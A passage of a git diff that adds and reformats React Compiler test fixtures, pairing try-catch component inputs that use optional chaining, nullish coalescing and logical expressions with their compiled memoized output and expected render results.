index 139e37894f92..d0ee4788c23b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-in-nested-scope.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-in-nested-scope.ts
@@ -1,17 +1,17 @@
-import { mutate, setProperty, throwErrorWithMessageIf } from "shared-runtime";
+import {mutate, setProperty, throwErrorWithMessageIf} from 'shared-runtime';
 
-function useFoo({ value, cond }) {
+function useFoo({value, cond}) {
   let y = [value];
-  let x = { cond };
+  let x = {cond};
 
   try {
     mutate(x);
-    throwErrorWithMessageIf(x.cond, "error");
+    throwErrorWithMessageIf(x.cond, 'error');
   } catch {
-    setProperty(x, "henderson");
+    setProperty(x, 'henderson');
     return x;
   }
-  setProperty(x, "nevada");
+  setProperty(x, 'nevada');
   y.push(x);
 
   return y;
@@ -19,10 +19,10 @@ function useFoo({ value, cond }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ value: 4, cond: true }],
+  params: [{value: 4, cond: true}],
   sequentialRenders: [
-    { value: 4, cond: true },
-    { value: 5, cond: true },
-    { value: 5, cond: false },
+    {value: 4, cond: true},
+    {value: 5, cond: true},
+    {value: 5, cond: false},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-logical-and-optional.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-logical-and-optional.expect.md
new file mode 100644
index 000000000000..c6ef6ba668d2
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-logical-and-optional.expect.md
@@ -0,0 +1,85 @@
+
+## Input
+
+```javascript
+function Component({cond, obj, items}) {
+  try {
+    // items.length is accessed WITHIN the && expression
+    const result = cond && obj?.value && items.length;
+    return <div>{String(result)}</div>;
+  } catch {
+    return <div>error</div>;
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{cond: true, obj: {value: 'hello'}, items: [1, 2]}],
+  sequentialRenders: [
+    {cond: true, obj: {value: 'hello'}, items: [1, 2]},
+    {cond: true, obj: {value: 'hello'}, items: [1, 2]},
+    {cond: true, obj: {value: 'world'}, items: [1, 2, 3]},
+    {cond: false, obj: {value: 'hello'}, items: [1]},
+    {cond: true, obj: null, items: [1]},
+    {cond: true, obj: {value: 'test'}, items: null}, // errors because items.length throws WITHIN the && chain
+    {cond: null, obj: {value: 'test'}, items: [1]},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function Component(t0) {
+  const $ = _c(3);
+  const { cond, obj, items } = t0;
+  try {
+    const result = cond && obj?.value && items.length;
+    const t1 = String(result);
+    let t2;
+    if ($[0] !== t1) {
+      t2 = <div>{t1}</div>;
+      $[0] = t1;
+      $[1] = t2;
+    } else {
+      t2 = $[1];
+    }
+    return t2;
+  } catch {
+    let t1;
+    if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
+      t1 = <div>error</div>;
+      $[2] = t1;
+    } else {
+      t1 = $[2];
+    }
+    return t1;
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ cond: true, obj: { value: "hello" }, items: [1, 2] }],
+  sequentialRenders: [
+    { cond: true, obj: { value: "hello" }, items: [1, 2] },
+    { cond: true, obj: { value: "hello" }, items: [1, 2] },
+    { cond: true, obj: { value: "world" }, items: [1, 2, 3] },
+    { cond: false, obj: { value: "hello" }, items: [1] },
+    { cond: true, obj: null, items: [1] },
+    { cond: true, obj: { value: "test" }, items: null }, // errors because items.length throws WITHIN the && chain
+    { cond: null, obj: { value: "test" }, items: [1] },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>2</div>
+<div>2</div>
+<div>3</div>
+<div>false</div>
+<div>undefined</div>
+<div>error</div>
+<div>null</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-logical-and-optional.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-logical-and-optional.js
new file mode 100644
index 000000000000..1ad8011b86fe
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-logical-and-optional.js
@@ -0,0 +1,23 @@
+function Component({cond, obj, items}) {
+  try {
+    // items.length is accessed WITHIN the && expression
+    const result = cond && obj?.value && items.length;
+    return <div>{String(result)}</div>;
+  } catch {
+    return <div>error</div>;
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{cond: true, obj: {value: 'hello'}, items: [1, 2]}],
+  sequentialRenders: [
+    {cond: true, obj: {value: 'hello'}, items: [1, 2]},
+    {cond: true, obj: {value: 'hello'}, items: [1, 2]},
+    {cond: true, obj: {value: 'world'}, items: [1, 2, 3]},
+    {cond: false, obj: {value: 'hello'}, items: [1]},
+    {cond: true, obj: null, items: [1]},
+    {cond: true, obj: {value: 'test'}, items: null}, // errors because items.length throws WITHIN the && chain
+    {cond: null, obj: {value: 'test'}, items: [1]},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-logical-expression.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-logical-expression.expect.md
new file mode 100644
index 000000000000..a28358220ab9
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-logical-expression.expect.md
@@ -0,0 +1,69 @@
+
+## Input
+
+```javascript
+function Component(props) {
+  let result;
+  try {
+    // items.length is accessed WITHIN the && expression
+    result = props.cond && props.foo && props.items.length;
+  } catch (e) {
+    result = 'error';
+  }
+  return result;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{cond: true, foo: true, items: [1, 2, 3]}],
+  sequentialRenders: [
+    {cond: true, foo: true, items: [1, 2, 3]},
+    {cond: true, foo: true, items: [1, 2, 3]},
+    {cond: true, foo: true, items: [1, 2, 3, 4]},
+    {cond: false, foo: true, items: [1, 2, 3]},
+    {cond: true, foo: false, items: [1, 2, 3]},
+    {cond: true, foo: true, items: null}, // errors because props.items.length throws
+    {cond: null, foo: true, items: [1]},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+function Component(props) {
+  let result;
+  try {
+    result = props.cond && props.foo && props.items.length;
+  } catch (t0) {
+    result = "error";
+  }
+
+  return result;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ cond: true, foo: true, items: [1, 2, 3] }],
+  sequentialRenders: [
+    { cond: true, foo: true, items: [1, 2, 3] },
+    { cond: true, foo: true, items: [1, 2, 3] },
+    { cond: true, foo: true, items: [1, 2, 3, 4] },
+    { cond: false, foo: true, items: [1, 2, 3] },
+    { cond: true, foo: false, items: [1, 2, 3] },
+    { cond: true, foo: true, items: null }, // errors because props.items.length throws
+    { cond: null, foo: true, items: [1] },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) 3
+3
+4
+false
+false
+"error"
+null
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-logical-expression.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-logical-expression.js
new file mode 100644
index 000000000000..7744d1e6d7a2
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-logical-expression.js
@@ -0,0 +1,24 @@
+function Component(props) {
+  let result;
+  try {
+    // items.length is accessed WITHIN the && expression
+    result = props.cond && props.foo && props.items.length;
+  } catch (e) {
+    result = 'error';
+  }
+  return result;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{cond: true, foo: true, items: [1, 2, 3]}],
+  sequentialRenders: [
+    {cond: true, foo: true, items: [1, 2, 3]},
+    {cond: true, foo: true, items: [1, 2, 3]},
+    {cond: true, foo: true, items: [1, 2, 3, 4]},
+    {cond: false, foo: true, items: [1, 2, 3]},
+    {cond: true, foo: false, items: [1, 2, 3]},
+    {cond: true, foo: true, items: null}, // errors because props.items.length throws
+    {cond: null, foo: true, items: [1]},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-maybe-null-dependency.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-maybe-null-dependency.expect.md
new file mode 100644
index 000000000000..c07ebce0ae45
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-maybe-null-dependency.expect.md
@@ -0,0 +1,79 @@
+
+## Input
+
+```javascript
+import {identity} from 'shared-runtime';
+
+/**
+ * Not safe to hoist read of maybeNullObject.value.inner outside of the
+ * try-catch block, as that might throw
+ */
+function useFoo(maybeNullObject: {value: {inner: number}} | null) {
+  const y = [];
+  try {
+    y.push(identity(maybeNullObject.value.inner));
+  } catch {
+    y.push('null');
+  }
+
+  return y;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [null],
+  sequentialRenders: [null, {value: 2}, {value: 3}, null],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { identity } from "shared-runtime";
+
+/**
+ * Not safe to hoist read of maybeNullObject.value.inner outside of the
+ * try-catch block, as that might throw
+ */
+function useFoo(maybeNullObject) {
+  const $ = _c(4);
+  let y;
+  if ($[0] !== maybeNullObject) {
+    y = [];
+    try {
+      let t0;
+      if ($[2] !== maybeNullObject.value.inner) {
+        t0 = identity(maybeNullObject.value.inner);
+        $[2] = maybeNullObject.value.inner;
+        $[3] = t0;
+      } else {
+        t0 = $[3];
+      }
+      y.push(t0);
+    } catch {
+      y.push("null");
+    }
+    $[0] = maybeNullObject;
+    $[1] = y;
+  } else {
+    y = $[1];
+  }
+
+  return y;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [null],
+  sequentialRenders: [null, { value: 2 }, { value: 3 }, null],
+};
+
+```
+      
+### Eval output
+(kind: ok) ["null"]
+[null]
+[null]
+["null"]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-maybe-null-dependency.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-maybe-null-dependency.ts
new file mode 100644
index 000000000000..555ace19405a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-maybe-null-dependency.ts
@@ -0,0 +1,22 @@
+import {identity} from 'shared-runtime';
+
+/**
+ * Not safe to hoist read of maybeNullObject.value.inner outside of the
+ * try-catch block, as that might throw
+ */
+function useFoo(maybeNullObject: {value: {inner: number}} | null) {
+  const y = [];
+  try {
+    y.push(identity(maybeNullObject.value.inner));
+  } catch {
+    y.push('null');
+  }
+
+  return y;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [null],
+  sequentialRenders: [null, {value: 2}, {value: 3}, null],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-multiple-value-blocks.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-multiple-value-blocks.expect.md
new file mode 100644
index 000000000000..3e59f530af67
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-multiple-value-blocks.expect.md
@@ -0,0 +1,163 @@
+
+## Input
+
+```javascript
+function Component({a, b, cond, items}) {
+  try {
+    const x = a?.value;
+    // items.length is accessed WITHIN the ternary expression - throws if items is null
+    const y = cond ? b?.first : items.length;
+    const z = x && y;
+    return (
+      <div>
+        {String(x)}-{String(y)}-{String(z)}
+      </div>
+    );
+  } catch {
+    return <div>error</div>;
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [
+    {
+      a: {value: 'A'},
+      b: {first: 'B1', second: 'B2'},
+      cond: true,
+      items: [1, 2, 3],
+    },
+  ],
+  sequentialRenders: [
+    {
+      a: {value: 'A'},
+      b: {first: 'B1', second: 'B2'},
+      cond: true,
+      items: [1, 2, 3],
+    },
+    {
+      a: {value: 'A'},
+      b: {first: 'B1', second: 'B2'},
+      cond: true,
+      items: [1, 2, 3],
+    },
+    {
+      a: {value: 'A'},
+      b: {first: 'B1', second: 'B2'},
+      cond: false,
+      items: [1, 2],
+    },
+    {a: null, b: {first: 'B1', second: 'B2'}, cond: true, items: [1, 2, 3]},
+    {a: {value: 'A'}, b: null, cond: true, items: [1, 2, 3]}, // b?.first is safe (returns undefined)
+    {a: {value: 'A'}, b: {first: 'B1', second: 'B2'}, cond: false, items: null}, // errors because items.length throws when cond=false
+    {
+      a: {value: ''},
+      b: {first: 'B1', second: 'B2'},
+      cond: true,
+      items: [1, 2, 3, 4],
+    },
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function Component(t0) {
+  const $ = _c(5);
+  const { a, b, cond, items } = t0;
+  try {
+    const x = a?.value;
+
+    const y = cond ? b?.first : items.length;
+    const z = x && y;
+
+    const t1 = String(x);
+    const t2 = String(y);
+    const t3 = String(z);
+    let t4;
+    if ($[0] !== t1 || $[1] !== t2 || $[2] !== t3) {
+      t4 = (
+        <div>
+          {t1}-{t2}-{t3}
+        </div>
+      );
+      $[0] = t1;
+      $[1] = t2;
+      $[2] = t3;
+      $[3] = t4;
+    } else {
+      t4 = $[3];
+    }
+    return t4;
+  } catch {
+    let t1;
+    if ($[4] === Symbol.for("react.memo_cache_sentinel")) {
+      t1 = <div>error</div>;
+      $[4] = t1;
+    } else {
+      t1 = $[4];
+    }
+    return t1;
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [
+    {
+      a: { value: "A" },
+      b: { first: "B1", second: "B2" },
+      cond: true,
+      items: [1, 2, 3],
+    },
+  ],
+
+  sequentialRenders: [
+    {
+      a: { value: "A" },
+      b: { first: "B1", second: "B2" },
+      cond: true,
+      items: [1, 2, 3],
+    },
+    {
+      a: { value: "A" },
+      b: { first: "B1", second: "B2" },
+      cond: true,
+      items: [1, 2, 3],
+    },
+    {
+      a: { value: "A" },
+      b: { first: "B1", second: "B2" },
+      cond: false,
+      items: [1, 2],
+    },
+    { a: null, b: { first: "B1", second: "B2" }, cond: true, items: [1, 2, 3] },
+    { a: { value: "A" }, b: null, cond: true, items: [1, 2, 3] }, // b?.first is safe (returns undefined)
+    {
+      a: { value: "A" },
+      b: { first: "B1", second: "B2" },
+      cond: false,
+      items: null,
+    }, // errors because items.length throws when cond=false
+    {
+      a: { value: "" },
+      b: { first: "B1", second: "B2" },
+      cond: true,
+      items: [1, 2, 3, 4],
+    },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>A-B1-B1</div>
+<div>A-B1-B1</div>
+<div>A-2-2</div>
+<div>undefined-B1-undefined</div>
+<div>A-undefined-undefined</div>
+<div>error</div>
+<div>-B1-</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-multiple-value-blocks.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-multiple-value-blocks.js
new file mode 100644
index 000000000000..288f3e4cca3a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-multiple-value-blocks.js
@@ -0,0 +1,56 @@
+function Component({a, b, cond, items}) {
+  try {
+    const x = a?.value;
+    // items.length is accessed WITHIN the ternary expression - throws if items is null
+    const y = cond ? b?.first : items.length;
+    const z = x && y;
+    return (
+      <div>
+        {String(x)}-{String(y)}-{String(z)}
+      </div>
+    );
+  } catch {
+    return <div>error</div>;
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [
+    {
+      a: {value: 'A'},
+      b: {first: 'B1', second: 'B2'},
+      cond: true,
+      items: [1, 2, 3],
+    },
+  ],
+  sequentialRenders: [
+    {
+      a: {value: 'A'},
+      b: {first: 'B1', second: 'B2'},
+      cond: true,
+      items: [1, 2, 3],
+    },
+    {
+      a: {value: 'A'},
+      b: {first: 'B1', second: 'B2'},
+      cond: true,
+      items: [1, 2, 3],
+    },
+    {
+      a: {value: 'A'},
+      b: {first: 'B1', second: 'B2'},
+      cond: false,
+      items: [1, 2],
+    },
+    {a: null, b: {first: 'B1', second: 'B2'}, cond: true, items: [1, 2, 3]},
+    {a: {value: 'A'}, b: null, cond: true, items: [1, 2, 3]}, // b?.first is safe (returns undefined)
+    {a: {value: 'A'}, b: {first: 'B1', second: 'B2'}, cond: false, items: null}, // errors because items.length throws when cond=false
+    {
+      a: {value: ''},
+      b: {first: 'B1', second: 'B2'},
+      cond: true,
+      items: [1, 2, 3, 4],
+    },
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-mutate-outer-value.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-mutate-outer-value.expect.md
index fde19b0664a3..d16aa1f32de9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-mutate-outer-value.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-mutate-outer-value.expect.md
@@ -2,21 +2,21 @@
 ## Input
 
 ```javascript
-const { shallowCopy, throwErrorWithMessage } = require("shared-runtime");
+const {shallowCopy, throwErrorWithMessage} = require('shared-runtime');
 
 function Component(props) {
   const x = [];
   try {
-    x.push(throwErrorWithMessage("oops"));
+    x.push(throwErrorWithMessage('oops'));
   } catch {
-    x.push(shallowCopy({ a: props.a }));
+    x.push(shallowCopy({a: props.a}));
   }
   return x;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ a: 1 }],
+  params: [{a: 1}],
 };
 
 ```
@@ -28,9 +28,9 @@ import { c as _c } from "react/compiler-runtime";
 const { shallowCopy, throwErrorWithMessage } = require("shared-runtime");
 
 function Component(props) {
-  const $ = _c(3);
+  const $ = _c(5);
   let x;
-  if ($[0] !== props.a) {
+  if ($[0] !== props) {
     x = [];
     try {
       let t0;
@@ -42,13 +42,22 @@ function Component(props) {
       }
       x.push(t0);
     } catch {
-      x.push(shallowCopy({ a: props.a }));
+      let t0;
+      if ($[3] !== props.a) {
+        t0 = shallowCopy({ a: props.a });
+        $[3] = props.a;
+        $[4] = t0;
+      } else {
+        t0 = $[4];
+      }
+      x.push(t0);
     }
-    $[0] = props.a;
+    $[0] = props;
     $[1] = x;
   } else {
     x = $[1];
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-mutate-outer-value.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-mutate-outer-value.js
index 984042470de7..71764a824452 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-mutate-outer-value.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-mutate-outer-value.js
@@ -1,16 +1,16 @@
-const { shallowCopy, throwErrorWithMessage } = require("shared-runtime");
+const {shallowCopy, throwErrorWithMessage} = require('shared-runtime');
 
 function Component(props) {
   const x = [];
   try {
-    x.push(throwErrorWithMessage("oops"));
+    x.push(throwErrorWithMessage('oops'));
   } catch {
-    x.push(shallowCopy({ a: props.a }));
+    x.push(shallowCopy({a: props.a}));
   }
   return x;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ a: 1 }],
+  params: [{a: 1}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-nested-optional-chaining.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-nested-optional-chaining.expect.md
new file mode 100644
index 000000000000..cd92103cc553
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-nested-optional-chaining.expect.md
@@ -0,0 +1,104 @@
+
+## Input
+
+```javascript
+function Component({data, fallback}) {
+  try {
+    // fallback.default is accessed WITHIN the optional chain via nullish coalescing
+    const value = data?.nested?.deeply?.value ?? fallback.default;
+    return <div>{value}</div>;
+  } catch {
+    return <div>error</div>;
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [
+    {data: {nested: {deeply: {value: 'found'}}}, fallback: {default: 'none'}},
+  ],
+  sequentialRenders: [
+    {data: {nested: {deeply: {value: 'found'}}}, fallback: {default: 'none'}},
+    {data: {nested: {deeply: {value: 'found'}}}, fallback: {default: 'none'}},
+    {data: {nested: {deeply: {value: 'changed'}}}, fallback: {default: 'none'}},
+    {data: {nested: {deeply: null}}, fallback: {default: 'none'}}, // uses fallback.default
+    {data: {nested: null}, fallback: {default: 'none'}}, // uses fallback.default
+    {data: null, fallback: null}, // errors because fallback.default throws
+    {data: {nested: {deeply: {value: 42}}}, fallback: {default: 'none'}},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function Component(t0) {
+  const $ = _c(3);
+  const { data, fallback } = t0;
+  try {
+    const value = data?.nested?.deeply?.value ?? fallback.default;
+    let t1;
+    if ($[0] !== value) {
+      t1 = <div>{value}</div>;
+      $[0] = value;
+      $[1] = t1;
+    } else {
+      t1 = $[1];
+    }
+    return t1;
+  } catch {
+    let t1;
+    if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
+      t1 = <div>error</div>;
+      $[2] = t1;
+    } else {
+      t1 = $[2];
+    }
+    return t1;
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [
+    {
+      data: { nested: { deeply: { value: "found" } } },
+      fallback: { default: "none" },
+    },
+  ],
+
+  sequentialRenders: [
+    {
+      data: { nested: { deeply: { value: "found" } } },
+      fallback: { default: "none" },
+    },
+    {
+      data: { nested: { deeply: { value: "found" } } },
+      fallback: { default: "none" },
+    },
+    {
+      data: { nested: { deeply: { value: "changed" } } },
+      fallback: { default: "none" },
+    },
+    { data: { nested: { deeply: null } }, fallback: { default: "none" } }, // uses fallback.default
+    { data: { nested: null }, fallback: { default: "none" } }, // uses fallback.default
+    { data: null, fallback: null }, // errors because fallback.default throws
+    {
+      data: { nested: { deeply: { value: 42 } } },
+      fallback: { default: "none" },
+    },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>found</div>
+<div>found</div>
+<div>changed</div>
+<div>none</div>
+<div>none</div>
+<div>error</div>
+<div>42</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-nested-optional-chaining.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-nested-optional-chaining.js
new file mode 100644
index 000000000000..b079525a9711
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-nested-optional-chaining.js
@@ -0,0 +1,25 @@
+function Component({data, fallback}) {
+  try {
+    // fallback.default is accessed WITHIN the optional chain via nullish coalescing
+    const value = data?.nested?.deeply?.value ?? fallback.default;
+    return <div>{value}</div>;
+  } catch {
+    return <div>error</div>;
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [
+    {data: {nested: {deeply: {value: 'found'}}}, fallback: {default: 'none'}},
+  ],
+  sequentialRenders: [
+    {data: {nested: {deeply: {value: 'found'}}}, fallback: {default: 'none'}},
+    {data: {nested: {deeply: {value: 'found'}}}, fallback: {default: 'none'}},
+    {data: {nested: {deeply: {value: 'changed'}}}, fallback: {default: 'none'}},
+    {data: {nested: {deeply: null}}, fallback: {default: 'none'}}, // uses fallback.default
+    {data: {nested: null}, fallback: {default: 'none'}}, // uses fallback.default
+    {data: null, fallback: null}, // errors because fallback.default throws
+    {data: {nested: {deeply: {value: 42}}}, fallback: {default: 'none'}},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-nullish-coalescing.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-nullish-coalescing.expect.md
new file mode 100644
index 000000000000..614a379b51ed
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-nullish-coalescing.expect.md
@@ -0,0 +1,84 @@
+
+## Input
+
+```javascript
+function Component({a, b, fallback}) {
+  try {
+    // fallback.value is accessed WITHIN the ?? chain
+    const result = a ?? b ?? fallback.value;
+    return <span>{result}</span>;
+  } catch {
+    return <span>error</span>;
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 'first', b: 'second', fallback: {value: 'default'}}],
+  sequentialRenders: [
+    {a: 'first', b: 'second', fallback: {value: 'default'}},
+    {a: 'first', b: 'second', fallback: {value: 'default'}},
+    {a: null, b: 'second', fallback: {value: 'default'}},
+    {a: null, b: null, fallback: {value: 'fallback'}},
+    {a: undefined, b: undefined, fallback: {value: 'fallback'}},
+    {a: 0, b: 'not zero', fallback: {value: 'default'}},
+    {a: null, b: null, fallback: null}, // errors because fallback.value throws WITHIN the ?? chain
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function Component(t0) {
+  const $ = _c(3);
+  const { a, b, fallback } = t0;
+  try {
+    const result = a ?? b ?? fallback.value;
+    let t1;
+    if ($[0] !== result) {
+      t1 = <span>{result}</span>;
+      $[0] = result;
+      $[1] = t1;
+    } else {
+      t1 = $[1];
+    }
+    return t1;
+  } catch {
+    let t1;
+    if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
+      t1 = <span>error</span>;
+      $[2] = t1;
+    } else {
+      t1 = $[2];
+    }
+    return t1;
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: "first", b: "second", fallback: { value: "default" } }],
+  sequentialRenders: [
+    { a: "first", b: "second", fallback: { value: "default" } },
+    { a: "first", b: "second", fallback: { value: "default" } },
+    { a: null, b: "second", fallback: { value: "default" } },
+    { a: null, b: null, fallback: { value: "fallback" } },
+    { a: undefined, b: undefined, fallback: { value: "fallback" } },
+    { a: 0, b: "not zero", fallback: { value: "default" } },
+    { a: null, b: null, fallback: null }, // errors because fallback.value throws WITHIN the ?? chain
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <span>first</span>
+<span>first</span>
+<span>second</span>
+<span>fallback</span>
+<span>fallback</span>
+<span>0</span>
+<span>error</span>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-nullish-coalescing.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-nullish-coalescing.js
new file mode 100644
index 000000000000..07cf9e18c081
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-nullish-coalescing.js
@@ -0,0 +1,23 @@
+function Component({a, b, fallback}) {
+  try {
+    // fallback.value is accessed WITHIN the ?? chain
+    const result = a ?? b ?? fallback.value;
+    return <span>{result}</span>;
+  } catch {
+    return <span>error</span>;
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 'first', b: 'second', fallback: {value: 'default'}}],
+  sequentialRenders: [
+    {a: 'first', b: 'second', fallback: {value: 'default'}},
+    {a: 'first', b: 'second', fallback: {value: 'default'}},
+    {a: null, b: 'second', fallback: {value: 'default'}},
+    {a: null, b: null, fallback: {value: 'fallback'}},
+    {a: undefined, b: undefined, fallback: {value: 'fallback'}},
+    {a: 0, b: 'not zero', fallback: {value: 'default'}},
+    {a: null, b: null, fallback: null}, // errors because fallback.value throws WITHIN the ?? chain
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-optional-call.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-optional-call.expect.md
new file mode 100644
index 000000000000..48926d1ff722
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-optional-call.expect.md
@@ -0,0 +1,132 @@
+
+## Input
+
+```javascript
+function Component({obj, arg}) {
+  try {
+    // arg.value is accessed WITHIN the optional call expression as an argument
+    // When obj is non-null but arg is null, arg.value throws inside the optional chain
+    const result = obj?.method?.(arg.value);
+    return <span>{result ?? 'no result'}</span>;
+  } catch {
+    return <span>error</span>;
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{obj: {method: x => 'called:' + x}, arg: {value: 1}}],
+  sequentialRenders: [
+    {obj: {method: x => 'called:' + x}, arg: {value: 1}},
+    {obj: {method: x => 'called:' + x}, arg: {value: 1}},
+    {obj: {method: x => 'different:' + x}, arg: {value: 2}},
+    {obj: {method: null}, arg: {value: 3}},
+    {obj: {notMethod: true}, arg: {value: 4}},
+    {obj: null, arg: {value: 5}}, // obj is null, short-circuits so arg.value is NOT evaluated
+    {obj: {method: x => 'test:' + x}, arg: null}, // errors because arg.value throws WITHIN the optional call
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function Component(t0) {
+  const $ = _c(6);
+  const { obj, arg } = t0;
+  try {
+    let t1;
+    if ($[0] !== arg || $[1] !== obj) {
